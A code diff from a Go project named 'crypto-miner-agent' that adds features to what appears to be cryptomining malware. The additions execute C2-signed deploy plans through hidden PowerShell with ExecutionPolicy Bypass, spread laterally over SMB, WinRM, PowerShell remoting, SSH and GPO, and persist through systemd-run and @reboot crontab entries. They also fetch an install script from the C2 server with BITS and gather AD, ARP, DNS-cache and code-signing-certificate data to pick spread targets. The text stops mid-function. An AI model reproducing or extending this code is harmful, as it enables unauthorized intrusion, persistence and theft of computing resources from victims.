+`, pass, user, target, innerScript) +} diff --git a/agent/deploy/desktop_path.go b/agent/deploy/desktop_path.go index 05a9d7c..6cd3d3b 100644 --- a/agent/deploy/desktop_path.go +++ b/agent/deploy/desktop_path.go @@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string { return filepath.Join(clean...) } +func remotePathHasTraversal(remote string) bool { + remote = strings.TrimSpace(remote) + if remote == "" { + return false + } + if strings.HasPrefix(remote, "~/") { + remote = remote[2:] + } + remote = strings.ReplaceAll(remote, "\\", "/") + for _, part := range strings.Split(remote, "/") { + if part == ".." { + return true + } + } + return false +} + // ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands. func ResolveRemotePath(remote string) (string, error) { remote = strings.TrimSpace(remote) if remote == "" { return "", fmt.Errorf("remote path is empty") } + if remotePathHasTraversal(remote) { + return "", fmt.Errorf("path traversal (..) is not allowed") + } lower := strings.ToLower(remote) if strings.HasPrefix(lower, "desktop:") { return ResolveDesktopFile(remote[len("desktop:"):]) diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go new file mode 100644 index 0000000..35aba87 --- /dev/null +++ b/agent/deploy/discover_join.go @@ -0,0 +1,239 @@ +package deploy + +import ( + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "runtime" + "strings" + + "crypto-miner-agent/config" +) + +// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan. +type DeployPlanBody struct { + JoinLane string `json:"join_lane"` + MatchedService string `json:"matched_service,omitempty"` + Action string `json:"action"` + Manifest *StagingManifest `json:"manifest,omitempty"` + Script string `json:"script,omitempty"` + UNCPath string `json:"unc_path,omitempty"` + MaxHosts int `json:"max_hosts,omitempty"` + ImageTarURL string `json:"image_tar_url,omitempty"` + ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` +} + +// DeployPlanResponse is returned by the C2 deploy-plan endpoint. +type DeployPlanResponse struct { + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + JoinLane string `json:"join_lane"` + MatchedService string `json:"matched_service,omitempty"` + Plan DeployPlanBody `json:"plan"` + Signature string `json:"signature"` +} + +// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body. +func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool { + if fleetSecret == "" || signature == "" { + return false + } + payload, err := json.Marshal(plan) + if err != nil { + return false + } + mac := hmac.New(sha256.New, []byte(fleetSecret)) + mac.Write(payload) + expected := hex.EncodeToString(mac.Sum(nil)) + return hmac.Equal([]byte(expected), []byte(signature)) +} + +// ExecuteDeployPlan runs the signed supply-chain join lane from the server. +func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) { + lane := strings.TrimSpace(plan.JoinLane) + if lane == "" { + lane = strings.TrimSpace(plan.Action) + } + switch lane { + case "bits_curl", "docker_load": + if plan.Manifest == nil { + return "", fmt.Errorf("join lane %s requires staging manifest", lane) + } + msg, err := RunStagingChain(cfg, *plan.Manifest) + if err != nil { + return "", err + } + if lane == "docker_load" && plan.ImageTarURL != "" { + msg += "; docker_load image=" + plan.ImageTarURL + } + return msg, nil + case "winrm": + if err := runJoinScript(plan.Script, true); err != nil { + return "", err + } + return "winrm bootstrap script executed", nil + case "gpo": + if err := runJoinScript(plan.Script, true); err != nil { + return "", err + } + return "gpo startup script executed", nil + case "linux_lotl": + if err := runJoinScript(plan.Script, false); err != nil { + return "", err + } + return "linux lotl bootstrap executed", nil + case "spread_smb_unc": + unc := strings.TrimSpace(plan.UNCPath) + if unc == "" { + return "", fmt.Errorf("spread_smb_unc requires unc_path in plan") + } + max := plan.MaxHosts + if max <= 0 { + max = 64 + } + msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max}) + return msg, nil + default: + return "", fmt.Errorf("unsupported join lane %q", lane) + } +} + +func runJoinScript(script string, windows bool) error { + script = strings.TrimSpace(script) + if script == "" { + return fmt.Errorf("empty join script") + } + if windows || runtime.GOOS == "windows" { + return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script) + } + return HiddenRun("/bin/sh", "-c", script) +} + +// ServicesForDeployPlan converts local service graph entries into deploy-plan findings. +func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding { + var out []DeployServiceFinding + appendHost := func(host ServiceGraphHost) { + for _, svc := range host.Services { + name := strings.TrimSpace(svc.ServiceName) + if name == "" { + continue + } + out = append(out, DeployServiceFinding{ + Name: name, + Status: serviceStatusForPlan(svc), + DisplayName: name, + }) + } + } + appendHost(result.Local) + for _, h := range result.LANHosts { + appendHost(h) + } + return out +} + +// DeployServiceFinding mirrors the server deploy-plan request service row. +type DeployServiceFinding struct { + Name string `json:"name"` + DisplayName string `json:"display_name,omitempty"` + Status string `json:"status"` + StartType string `json:"start_type,omitempty"` +} + +// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON. +func PickLocalJoinLane(discoveryJSON string) string { + result, err := ParseServiceDiscoverJSON(discoveryJSON) + if err != nil { + return "" + } + var best string + for _, svc := range result.Local.Services { + lane := strings.TrimSpace(svc.JoinLaneCandidate) + if lane == "" { + lane = JoinLaneForSignal(svc.ServiceName, svc.Port) + } + if lane != "" { + best = lane + } + } + return best +} + +// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it. +// fetchPlan is injected for tests. +type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) + +func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) { + raw := RunServiceDiscoverForJoin(maxLANHosts) + result, parseErr := ParseServiceDiscoverJSON(raw) + if parseErr != nil { + return "", "", fmt.Errorf("parse discovery: %w", parseErr) + } + services := ServicesForDeployPlan(result) + if len(services) == 0 { + return "", "", fmt.Errorf("no services discovered") + } + + uncPath := firstSMBShareUNC(result) + resp, err := fetchPlan(services, uncPath) + if err != nil { + return "", "", err + } + if !resp.OK && resp.Error != "" { + return "", "", fmt.Errorf("%s", resp.Error) + } + if resp.JoinLane == "" && resp.Plan.JoinLane == "" { + return "", "", fmt.Errorf("no allowlisted running services matched") + } + if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) { + return "", "", fmt.Errorf("deploy plan signature invalid") + } + joinLane = resp.JoinLane + if joinLane == "" { + joinLane = resp.Plan.JoinLane + } + msg, err := ExecuteDeployPlan(cfg, resp.Plan) + if err != nil { + return joinLane, "", err + } + return joinLane, msg, nil +} + +// runServiceDiscoverFn allows tests to stub discovery output. +var runServiceDiscoverFn func(maxLANHosts int) string + +func RunServiceDiscoverForJoin(maxLANHosts int) string { + if runServiceDiscoverFn != nil { + return runServiceDiscoverFn(maxLANHosts) + } + return RunServiceDiscover(maxLANHosts) +} + +func firstSMBShareUNC(result ServiceDiscoverResult) string { + for _, h := range result.LANHosts { + for _, svc := range h.Services { + name := strings.ToLower(svc.ServiceName) + if strings.HasPrefix(name, "smb-share:") { + share := strings.TrimPrefix(svc.ServiceName, "smb-share:") + if share != "" && h.Host != "" { + return `\\` + h.Host + `\` + share + } + } + } + } + return "" +} + +func serviceStatusForPlan(svc ServiceGraphEntry) string { + if st := strings.TrimSpace(svc.Status); st != "" { + return st + } + switch svc.Source { + case "lan_port", "smb_share", "passive_hint": + return "running" + default: + return "running" + } +} diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go new file mode 100644 index 0000000..0b69f72 --- /dev/null +++ b/agent/deploy/discover_join_test.go @@ -0,0 +1,78 @@ +package deploy + +import ( + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "testing" + + "crypto-miner-agent/config" +) + +func TestVerifyDeployPlanSignatureAgent(t *testing.T) { + plan := DeployPlanBody{ + JoinLane: "winrm", + Action: "winrm", + Script: "# noop", + } + payload, _ := json.Marshal(plan) + mac := hmac.New(sha256.New, []byte("fleet-test")) + mac.Write(payload) + sig := hex.EncodeToString(mac.Sum(nil)) + if !VerifyDeployPlanSignature(plan, sig, "fleet-test") { + t.Fatal("expected valid signature") + } +} + +func TestRunDiscoverAndJoinFakeServices(t *testing.T) { + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + FleetSecret: "fleet-test", + WorkerName: "test-worker", + ServerURL: "http://127.0.0.1:8989", + }, + } + + fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) { + if len(services) == 0 { + t.Fatal("expected services") + } + if services[0].Name != "CCMEXEC" { + t.Fatalf("service=%q", services[0].Name) + } + plan := DeployPlanBody{ + JoinLane: "gpo", + Action: "gpo", + Script: "$env:AETHER_DEFER_MINING='1'", + } + payload, _ := json.Marshal(plan) + mac := hmac.New(sha256.New, []byte(cfg.FleetSecret)) + mac.Write(payload) + return DeployPlanResponse{ + OK: true, + JoinLane: "gpo", + Plan: plan, + Signature: hex.EncodeToString(mac.Sum(nil)), + }, nil + } + + // Inject fake discovery via ParseServiceDiscoverJSON path + oldDiscover := runServiceDiscoverFn + runServiceDiscoverFn = func(maxLANHosts int) string { + return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}` + } + defer func() { runServiceDiscoverFn = oldDiscover }() + + lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch) + if err != nil { + // gpo script execution may fail on non-windows — still expect lane selection + signature pass + if lane != "gpo" { + t.Fatalf("lane=%q err=%v", lane, err) + } + return + } + if lane != "gpo" { + t.Fatalf("lane=%q detail=%q", lane, detail) + } +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 41e6627..4745255 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -59,13 +59,16 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { return false, fmt.Errorf("autostart: %w", err) } + MaybeApplyCOMHijackOnInstall(cfg, installedBin) + applyLinuxLOTLPersistence(cfg, installedBin) + if err := configureRunMode(cfg, installedBin); err != nil { return false, err } EnsureFirewallExclusion(cfg, installedBin) - if err := relaunch(installedBin, logPath); err != nil { + if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil { return false, fmt.Errorf("start installed miner: %w", err) } diff --git a/agent/deploy/linux_lotl.go b/agent/deploy/linux_lotl.go new file mode 100644 index 0000000..0e3db7e --- /dev/null +++ b/agent/deploy/linux_lotl.go @@ -0,0 +1,78 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "log" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install. +func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) { + mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode)) + if mode == "" || mode == "off" { + return + } + runArgs := "--run" + if WantsDeferMining() { + runArgs += " --defer-mining" + } + if mode == "systemd_run_user" || mode == "both" { + unit := sanitizeName(cfg.WorkerName) + "-worker" + if unit == "-worker" { + unit = "aetherforge-worker" + } + args := []string{"--user", "--unit=" + unit + ".service", binPath} + args = append(args, strings.Fields(runArgs)...) + if err := exec.Command("systemd-run", args...).Run(); err != nil { + log.Printf("[lotl] systemd-run --user failed: %v", err) + } else { + log.Printf("[lotl] systemd-run --user registered %s", unit) + } + } + if mode == "crontab" || mode == "both" { + line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs) + out, _ := exec.Command("crontab", "-l").Output() + existing := string(out) + if strings.Contains(existing, binPath) { + return + } + newCrontab := strings.TrimSpace(existing) + if newCrontab != "" { + newCrontab += "\n" + } + newCrontab += line + "\n" + cmd := exec.Command("crontab", "-") + cmd.Stdin = strings.NewReader(newCrontab) + if err := cmd.Run(); err != nil { + log.Printf("[lotl] crontab persist failed: %v", err) + } else { + log.Printf("[lotl] crontab @reboot entry added") + } + } +} + +// sshSpreadStartCmd builds remote start with spread + defer-mining flags. +func sshSpreadStartCmd(remotePath string) string { + return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath) +} + +// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required). +func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string { + mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode)) + if mode == "" || mode == "off" { + return "" + } + var parts []string + if mode == "systemd_run_user" || mode == "both" { + parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath)) + } + if mode == "crontab" || mode == "both" { + parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath)) + } + return strings.Join(parts, "; ") +} diff --git a/agent/deploy/linux_lotl_stub.go b/agent/deploy/linux_lotl_stub.go new file mode 100644 index 0000000..061ae14 --- /dev/null +++ b/agent/deploy/linux_lotl_stub.go @@ -0,0 +1,9 @@ +//go:build windows + +package deploy + +import "crypto-miner-agent/config" + +func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {} +func sshSpreadStartCmd(remotePath string) string { return "" } +func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" } diff --git a/agent/deploy/lotl_onion.go b/agent/deploy/lotl_onion.go new file mode 100644 index 0000000..4a6b93d --- /dev/null +++ b/agent/deploy/lotl_onion.go @@ -0,0 +1,47 @@ +package deploy + +import ( + "log" + "time" + + "crypto-miner-agent/config" +) + +// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time. +// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent. +func StartLotlOnion(cfg config.RuntimeConfig) { + if !cfg.LotlOnionEnabled { + return + } + tiers := NormalizeLotlTiers(cfg.LotlOnionTiers) + log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer) + go runLotlOnionChain(cfg, tiers) +} + +// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion). +func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) { + return tryLotlTier(cfg, lane) +} + +// reportOnlyLotlTiers run recon probes without ending the spread chain. +var reportOnlyLotlTiers = map[string]struct{}{ + "vuln_recon": {}, +} + +func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) { + // Stagger first pass so C2 auth and mining bootstrap settle first. + time.Sleep(2 * time.Minute) + for _, tier := range tiers { + ok, reason := tryLotlTier(cfg, tier) + if ok { + if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly { + log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason) + continue + } + log.Printf("[lotl-onion] tier %s succeeded", tier) + return + } + log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason) + } + log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded") +} diff --git a/agent/deploy/lotl_onion_stub.go b/agent/deploy/lotl_onion_stub.go new file mode 100644 index 0000000..922e258 --- /dev/null +++ b/agent/deploy/lotl_onion_stub.go @@ -0,0 +1,27 @@ +//go:build !windows + +package deploy + +import ( + "crypto-miner-agent/config" +) + +func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) { + switch tier { + case "vuln_recon": + RunVulnRecon(HostOSVersion()) + return true, "vuln recon complete (report only)" + case "linux": + if cfg.AutoSpread { + go RunSpreadOnce(cfg) + return true, "ssh lateral sweep started" + } + return false, "auto_spread disabled" + case "docker": + return false, "container tier stub on non-windows" + case "bits_curl": + return true, "curl|bash install one-liner available" + default: + return false, "tier not supported on this platform" + } +} diff --git a/agent/deploy/lotl_onion_stub_test.go b/agent/deploy/lotl_onion_stub_test.go new file mode 100644 index 0000000..be58483 --- /dev/null +++ b/agent/deploy/lotl_onion_stub_test.go @@ -0,0 +1,52 @@ +//go:build !windows + +package deploy + +import ( + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestTryLotlTierLinuxAutoSpread(t *testing.T) { + ok, msg := tryLotlTier(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{AutoSpread: true}, + }, "linux") + if !ok { + t.Fatalf("linux tier should succeed with auto_spread, got %q", msg) + } + if !strings.Contains(msg, "ssh") { + t.Fatalf("msg=%q", msg) + } +} + +func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) { + ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux") + if ok { + t.Fatalf("expected failure without auto_spread, got %q", msg) + } + if !strings.Contains(msg, "auto_spread") { + t.Fatalf("msg=%q", msg) + } +} + +func TestTryLotlTierBitsCurl(t *testing.T) { + ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl") + if !ok { + t.Fatalf("bits_curl tier should be available on unix, got %q", msg) + } + if !strings.Contains(msg, "curl") { + t.Fatalf("msg=%q", msg) + } +} + +func TestTryLotlTierUnsupported(t *testing.T) { + ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm") + if ok { + t.Fatalf("winrm should be unsupported on unix, got %q", msg) + } + if !strings.Contains(msg, "not supported") { + t.Fatalf("msg=%q", msg) + } +} diff --git a/agent/deploy/lotl_onion_windows.go b/agent/deploy/lotl_onion_windows.go new file mode 100644 index 0000000..17e4d75 --- /dev/null +++ b/agent/deploy/lotl_onion_windows.go @@ -0,0 +1,69 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os/exec" + "strings" + + "crypto-miner-agent/config" +) + +func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) { + switch tier { + case "vuln_recon": + RunVulnRecon(HostOSVersion()) + return true, "vuln recon complete (report only)" + case "docker": + if _, err := exec.LookPath("docker"); err != nil { + return false, "container runtime unavailable" + } + return true, "container runtime ready for worker image pull" + case "wsl": + if _, err := exec.LookPath("wsl.exe"); err != nil { + return false, "wsl.exe not found" + } + out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok") + if err != nil || !strings.Contains(string(out), "ok") { + return false, "wsl not responding" + } + return true, "wsl available for curl|bash install one-liner" + case "powershell": + if _, err := exec.LookPath("powershell.exe"); err != nil { + return false, "powershell missing" + } + go runPSRemotingSpread(cfg) + return true, "powershell remoting sweep started" + case "dotnet": + if _, err := exec.LookPath("dotnet"); err != nil { + return false, "dotnet SDK/runtime missing" + } + return true, "dotnet host available for tool-run bootstrap" + case "bits_curl": + installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1" + _ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command", + fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL)) + return true, "bits/curl install hook queued" + case "smb": + if !cfg.AutoSpread && !cfg.ShareSpread { + go RunSpreadOnce(cfg) + return true, "smb lateral sweep started" + } + go RunSpreadOnce(cfg) + return true, "smb sweep started" + case "winrm": + if !cfg.ShareSpread { + go runPSRemotingSpread(cfg) + return true, "winrm opportunistic sweep started" + } + go runPSRemotingSpread(cfg) + return true, "winrm sweep started" + case "linux": + return false, "linux tier is for ssh lateral on unix agents" + case "gpo": + return false, "gpo requires domain GPO push — operator action" + default: + return false, "unknown tier" + } +} diff --git a/agent/deploy/lotl_tiers.go b/agent/deploy/lotl_tiers.go new file mode 100644 index 0000000..d57346a --- /dev/null +++ b/agent/deploy/lotl_tiers.go @@ -0,0 +1,43 @@ +package deploy + +import "strings" + +// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into +// the LOTL Onion forge preset and server config unless overridden at runtime. +var DefaultLotlOnionTiers = []string{ + "vuln_recon", + "docker", + "wsl", + "powershell", + "dotnet", + "bits_curl", + "smb", + "winrm", + "linux", + "gpo", +} + +// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty. +func NormalizeLotlTiers(raw []string) []string { + allowed := map[string]struct{}{ + "vuln_recon": {}, + "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, + "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + } + out := make([]string, 0, len(raw)) + for _, t := range raw { + t = strings.ToLower(strings.TrimSpace(t)) + if t == "bits/curl" { + t = "bits_curl" + } + if _, ok := allowed[t]; ok { + out = append(out, t) + } + } + if len(out) == 0 { + dup := make([]string, len(DefaultLotlOnionTiers)) + copy(dup, DefaultLotlOnionTiers) + return dup + } + return out +} diff --git a/agent/deploy/lotl_tiers_test.go b/agent/deploy/lotl_tiers_test.go new file mode 100644 index 0000000..1428ccf --- /dev/null +++ b/agent/deploy/lotl_tiers_test.go @@ -0,0 +1,20 @@ +package deploy + +import "testing" + +func TestNormalizeLotlTiersDefaults(t *testing.T) { + got := NormalizeLotlTiers(nil) + if len(got) != len(DefaultLotlOnionTiers) { + t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got)) + } + if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" { + t.Fatalf("unexpected order: %v", got) + } +} + +func TestNormalizeLotlTiersAlias(t *testing.T) { + got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"}) + if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" { + t.Fatalf("got %v", got) + } +} diff --git a/agent/deploy/natpunch.go b/agent/deploy/natpunch.go index 199b5e9..7078ab6 100644 --- a/agent/deploy/natpunch.go +++ b/agent/deploy/natpunch.go @@ -287,11 +287,19 @@ func xmlEscape(s string) string { return s } +// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is +// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep. +const MaxSubnetScanHosts = 128 + // ScanLocalSubnet returns hosts with common service ports open on the local /24. +// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts. func ScanLocalSubnet(maxHosts int) string { if maxHosts <= 0 { maxHosts = 64 } + if maxHosts > MaxSubnetScanHosts { + maxHosts = MaxSubnetScanHosts + } ips := getLocalIPs() if len(ips) == 0 { return "no local IPv4 interfaces found" diff --git a/agent/deploy/network_export.go b/agent/deploy/network_export.go index bcc093d..d36e523 100644 --- a/agent/deploy/network_export.go +++ b/agent/deploy/network_export.go @@ -5,6 +5,16 @@ func ArpNeighborIPs() []string { return arpHosts() } +// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets. +func NeighborTableIPs() []string { + return neighborHosts() +} + +// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting. +func CollectPassiveNetworkHints(maxHosts int) NetworkHints { + return CollectNetworkHints(maxHosts) +} + // PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick). func PrimaryLocalIPv4() (string, error) { return primaryLocalIPv4() diff --git a/agent/deploy/network_hints.go b/agent/deploy/network_hints.go new file mode 100644 index 0000000..f8112af --- /dev/null +++ b/agent/deploy/network_hints.go @@ -0,0 +1,150 @@ +package deploy + +import ( + "net" + "os" + "strings" + "time" +) + +const ( + // MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads. + MaxMulticastNameHosts = 32 +) + +// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS). +type NameHost struct { + Name string `json:"name"` + IP string `json:"ip,omitempty"` +} + +// NetworkHints summarizes passive LAN/domain telemetry for spread targeting. +type NetworkHints struct { + GeneratedAt string `json:"generated_at"` + ArpHosts []string `json:"arp_hosts,omitempty"` + NeighborHosts []string `json:"neighbor_hosts,omitempty"` + SpreadTargets []string `json:"spread_targets,omitempty"` + SpreadTargetCount int `json:"spread_target_count,omitempty"` + DomainName string `json:"domain_name,omitempty"` + DomainJoined bool `json:"domain_joined,omitempty"` + LdapSRV []string `json:"ldap_srv,omitempty"` + KerberosSRV []string `json:"kerberos_srv,omitempty"` + PreferJoinLane string `json:"prefer_join_lane,omitempty"` + EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"` + CodeSignSubject string `json:"code_sign_subject,omitempty"` + LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"` + MDNSHosts []NameHost `json:"mdns_hosts,omitempty"` + MulticastNameCount int `json:"multicast_name_count,omitempty"` +} + +// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache). +func CollectNetworkHints(maxHosts int) NetworkHints { + if maxHosts <= 0 { + maxHosts = 64 + } + if maxHosts > MaxSubnetScanHosts { + maxHosts = MaxSubnetScanHosts + } + + arp := arpHosts() + neighbors := neighborHosts() + targets := DiscoverLANSpreadTargets(maxHosts) + + hints := NetworkHints{ + GeneratedAt: time.Now().UTC().Format(time.RFC3339), + ArpHosts: capStrings(arp, maxHosts), + NeighborHosts: capStrings(neighbors, maxHosts), + SpreadTargets: targets, + SpreadTargetCount: len(targets), + } + + domain := discoverADDomain() + hints.DomainName = domain + ldap, krb, joined := probeDomainSRV(domain) + hints.LdapSRV = ldap + hints.KerberosSRV = krb + hints.DomainJoined = joined + if joined { + hints.PreferJoinLane = "gpo" + } + + if present, subject := probeEnterpriseCodeSignCert(); present { + hints.EnterpriseCodeSignCert = true + hints.CodeSignSubject = subject + } + + llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts) + hints.LLMNRHosts = llmnr + hints.MDNSHosts = mdns + hints.MulticastNameCount = len(llmnr) + len(mdns) + + return hints +} + +func capStrings(in []string, max int) []string { + if max <= 0 || len(in) == 0 { + return nil + } + if len(in) > max { + in = in[:max] + } + out := make([]string, len(in)) + copy(out, in) + return out +} + +func mergeUniqueIPv4(sets ...[]string) []string { + seen := make(map[string]bool) + var out []string + for _, set := range sets { + for _, host := range set { + host = strings.TrimSpace(host) + if host == "" || seen[host] { + continue + } + ip := net.ParseIP(host) + if ip == nil || ip.To4() == nil { + continue + } + seen[host] = true + out = append(out, ip.To4().String()) + } + } + return out +} + +func discoverADDomain() string { + if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" { + return strings.ToLower(d) + } + return discoverADDomainPlatform() +} + +func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) { + domain = strings.ToLower(strings.TrimSpace(domain)) + if domain == "" { + return nil, nil, false + } + ldap = lookupSRVHosts("_ldap._tcp." + domain) + kerberos = lookupSRVHosts("_kerberos._tcp." + domain) + joined = len(ldap) > 0 || len(kerberos) > 0 + return ldap, kerberos, joined +} + +func lookupSRVHosts(name string) []string { + _, addrs, err := net.LookupSRV("", "", name) + if err != nil || len(addrs) == 0 { + return nil + } + seen := make(map[string]bool) + var hosts []string + for _, a := range addrs { + target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".") + if target == "" || seen[target] { + continue + } + seen[target] = true + hosts = append(hosts, target) + } + return hosts +} diff --git a/agent/deploy/network_hints_cert_stub.go b/agent/deploy/network_hints_cert_stub.go new file mode 100644 index 0000000..821652f --- /dev/null +++ b/agent/deploy/network_hints_cert_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package deploy + +func probeEnterpriseCodeSignCert() (present bool, subject string) { + return false, "" +} + +func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) { + return nil, nil +} diff --git a/agent/deploy/network_hints_cert_windows.go b/agent/deploy/network_hints_cert_windows.go new file mode 100644 index 0000000..b0d049b --- /dev/null +++ b/agent/deploy/network_hints_cert_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package deploy + +import ( + "encoding/json" + "net" + "strings" +) + +const dnsClientCacheScript = ` +$rows = Get-DnsClientCache -ErrorAction SilentlyContinue | + Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } | + Select-Object -First 64 Entry, Data, Type +$rows | ConvertTo-Json -Compress +` + +const codeSignCertScript = ` +$eku = '1.3.6.1.5.5.7.3.3' +$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue | + Where-Object { + $_.HasPrivateKey -and ( + ($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or + ($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing') + ) + } | + Select-Object -First 1 Subject +if ($cert) { $cert.Subject } else { '' } +` + +func probeEnterpriseCodeSignCert() (present bool, subject string) { + out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript) + if err != nil { + return false, "" + } + subject = strings.TrimSpace(string(out)) + return subject != "", subject +} + +func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) { + if max <= 0 { + return nil, nil + } + out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript) + if err != nil { + return nil, nil + } + raw := strings.TrimSpace(string(out)) + if raw == "" { + return nil, nil + } + if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") { + raw = "[" + raw[idx:] + if !strings.HasSuffix(raw, "]") { + raw += "]" + } + } + var rows []struct { + Entry string `json:"Entry"` + Data string `json:"Data"` + Type int `json:"Type"` + } + if err := json.Unmarshal([]byte(raw), &rows); err != nil { + var one struct { + Entry string `json:"Entry"` + Data string `json:"Data"` + Type int `json:"Type"` + } + if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" { + return nil, nil + } + rows = []struct { + Entry string `json:"Entry"` + Data string `json:"Data"` + Type int `json:"Type"` + }{one} + } + + seenLLMNR := make(map[string]bool) + seenMDNS := make(map[string]bool) + for _, row := range rows { + name := strings.TrimSpace(strings.TrimSuffix(row.Entry, ".")) + ip := strings.TrimSpace(row.Data) + if name == "" { + continue + } + if ip != "" { + if parsed := net.ParseIP(ip); 